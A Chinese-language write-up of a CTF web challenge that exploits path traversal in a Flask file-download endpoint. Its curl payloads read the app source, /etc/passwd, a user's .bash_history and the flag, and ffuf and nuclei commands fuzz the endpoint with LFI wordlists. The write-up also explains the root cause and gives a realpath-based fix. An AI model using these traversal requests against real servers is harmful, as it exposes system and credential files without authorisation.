novruzCTF -python-server (Web)¶
题目信息¶
- 题目名称: python-server
- 类别: Web
- 难度: 简单
- URL:
https://58538afc0c.chall.canyouhack.org - TCP:
nc 58538afc0c.chall.canyouhack.org 10009 - 题目描述: 我们搭建了一个简单的Python文件服务器。它只提供files目录中的文件,所以完全安全。
- 状态: 已解
Flag¶
novruzCTF{2068f5f319da6594145738a9b4516515}
解题过程¶
1. 初始侦察¶
访问主页,发现是一个简单的文件下载服务器,只提供了一个示例文件:
https://58538afc0c.chall.canyouhack.org/download?file=sample.txt
返回内容:This is a sample text file available for download!
URL 参数 file=sample.txt 直接传入文件名 — 典型的路径遍历攻击面。
2. 读取服务器源码¶
使用 ../ 跳出 files 目录读取 Flask 应用源码:
/download?file=../app.py
成功获取源码:
from flask import Flask, request, render_template, send_file
import os
app = Flask(__name__)
FILES_DIR = os.path.join(app.root_path, '../files')
@app.route('/download')
def download():
filename = request.args.get('file')
if not filename:
return "Please specify a file to download.", 400
# VULNERABILITY: No path traversal protections
filepath = os.path.join(FILES_DIR, filename)
try:
if os.path.exists(filepath):
return send_file(filepath)
else:
return "File not found.", 404
except Exception as e:
return str(e), 500
漏洞确认:filename 直接拼接到路径中,无任何过滤或校验。
3. 系统用户枚举¶
读取 /etc/passwd:
/download?file=../../../../../etc/passwd
发现关键用户:
ctf:x:1000:1000::/home/ctf:/bin/sh
system_admin:x:1001:1001::/home/system_admin:/bin/sh
4. 历史命令泄露¶
常见 flag 位置(/flag.txt、/home/ctf/flag.txt 等)均未找到。
转而读取 system_admin 的 bash 历史记录:
/download?file=../../../../../home/system_admin/.bash_history
返回:
cat /home/system_admin/secret_flag.txt
5. 获取 Flag¶
根据历史记录的提示,直接读取:
/download?file=../../../../../home/system_admin/secret_flag.txt
novruzCTF{2068f5f319da6594145738a9b4516515}
攻击链总结¶
源码泄露 → 漏洞确认 → /etc/passwd 用户枚举 → .bash_history 信息泄露 → 读取 Flag
漏洞分析¶
根因¶
os.path.join(FILES_DIR, filename) 在 filename 包含 ../ 时会跳出预期目录,而代码未做任何防护:
- 未过滤
../序列 - 未用
os.path.realpath()校验最终路径是否仍在允许目录内
修复方案¶
filepath = os.path.realpath(os.path.join(FILES_DIR, filename))
if not filepath.startswith(os.path.realpath(FILES_DIR)):
return "Access denied.", 403
知识点¶
- Path Traversal(路径遍历) — OWASP Top 10 常见漏洞,通过
../跳出预期目录 - 信息收集链 —
/etc/passwd枚举用户 →.bash_history发现敏感文件路径 - Flask send_file — 直接发送服务器任意文件,未做沙箱隔离
使用的工具¶
curl— HTTP 请求
脚本归档¶
命令行提取关键数据(无 GUI)¶
# 读取源码确认漏洞
curl -s "https://58538afc0c.chall.canyouhack.org/download?file=../app.py"
# 读取 /etc/passwd 枚举用户
curl -s "https://58538afc0c.chall.canyouhack.org/download?file=../../../../../etc/passwd"
# 读取 .bash_history 获取 flag 位置
curl -s "https://58538afc0c.chall.canyouhack.org/download?file=../../../../../home/system_admin/.bash_history"
# 读取 flag
curl -s "https://58538afc0c.chall.canyouhack.org/download?file=../../../../../home/system_admin/secret_flag.txt"
推荐工具与优化解题流程¶
参考
CTF_TOOLS_EXTENSION_PLAN.md中的 Web 工具推荐。
1. ffuf — 目录爆破与路径发现(推荐首选)¶
ffuf 是 Go 编写的高速 Web fuzzer,可快速发现隐藏路径和文件。
安装:
go install github.com/ffuf/ffuf/v2@latest
详细操作步骤:
Step 1:目录爆破发现 /dev 路径
# 使用常见目录字典爆破
ffuf -u https://58538afc0c.chall.canyouhack.org/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-mc 200,301,302,403
# 输出会发现: /dev [Status: 200]
Step 2:爆破 /dev 下的文件
# 发现隐藏文件名(如 hash 名文件)
ffuf -u https://58538afc0c.chall.canyouhack.org/FUZZ \
-w /usr/share/wordlists/dirb/big.txt \
-mc 200 -fs 0
Step 3:路径遍历 Fuzz
# 自动化测试路径遍历深度
ffuf -u "https://58538afc0c.chall.canyouhack.org/download?file=FUZZ" \
-w /usr/share/wordlists/LFI/LFI-Jhaddix.txt \
-mc 200 -fs 50
# 字典包含 ../../../etc/passwd 等常见 LFI payload
优势:自动化发现隐藏路径,比手动猜测快得多;Go 编写,性能极高。
2. Burp Suite — 全流程 Web 测试¶
Burp Suite Community 是 Web 安全测试的瑞士军刀。
详细操作步骤:
Step 1:配置代理
1. 启动 Burp Suite → Proxy → 设置浏览器代理为 127.0.0.1:8080
2. 浏览器访问目标网站,所有请求会被 Burp 捕获
Step 2:Repeater 手动测试路径遍历
1. 在 HTTP History 中找到 /download?file=sample.txt 请求
2. 右键 → Send to Repeater
3. 修改 file 参数,逐步增加 ../ 深度:
- ../app.py → 获取源码
- ../../../../../etc/passwd → 读取系统文件
4. 每次修改后点击 Send,观察响应
Step 3:Intruder 自动化枚举用户文件
1. 将请求发送到 Intruder
2. 标记 file=§../../../../../home/FUZZ/.bash_history§ 为 payload 位置
3. 加载用户名列表(从 /etc/passwd 提取)
4. 启动攻击,根据响应长度筛选有效结果
优势:可视化操作,Repeater 方便快速迭代测试;Intruder 自动化枚举。
3. nuclei — 模板化漏洞扫描¶
nuclei 是 Go 编写的模板化漏洞扫描器,内置 LFI/路径遍历检测模板。
安装:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates
详细操作步骤:
Step 1:运行 LFI 专项扫描
nuclei -u https://58538afc0c.chall.canyouhack.org \
-tags lfi,path-traversal \
-severity low,medium,high,critical
Step 2:针对 download 端点扫描
nuclei -u "https://58538afc0c.chall.canyouhack.org/download?file=sample.txt" \
-tags lfi
# nuclei 会自动替换参数值为各种 LFI payload 进行测试
优势:一条命令自动检测路径遍历漏洞,模板库持续更新。
工具对比总结¶
| 工具 | 适用阶段 | 本题耗时 | 优点 |
|---|---|---|---|
| ffuf | 路径发现、Fuzz | ~2 分钟 | 高速目录爆破,自动发现 /dev |
| Burp Suite | 手动测试、迭代 | ~5 分钟 | 可视化,Repeater 方便调试 |
| nuclei | 自动检测 | ~1 分钟 | 一键扫描,内置 LFI 模板 |
| curl | 手动请求 | ~10 分钟 | 轻量无依赖,但效率低 |
推荐流程:ffuf 目录爆破 → Burp Repeater 确认路径遍历 → 手动提取敏感文件 → 5 分钟内完成。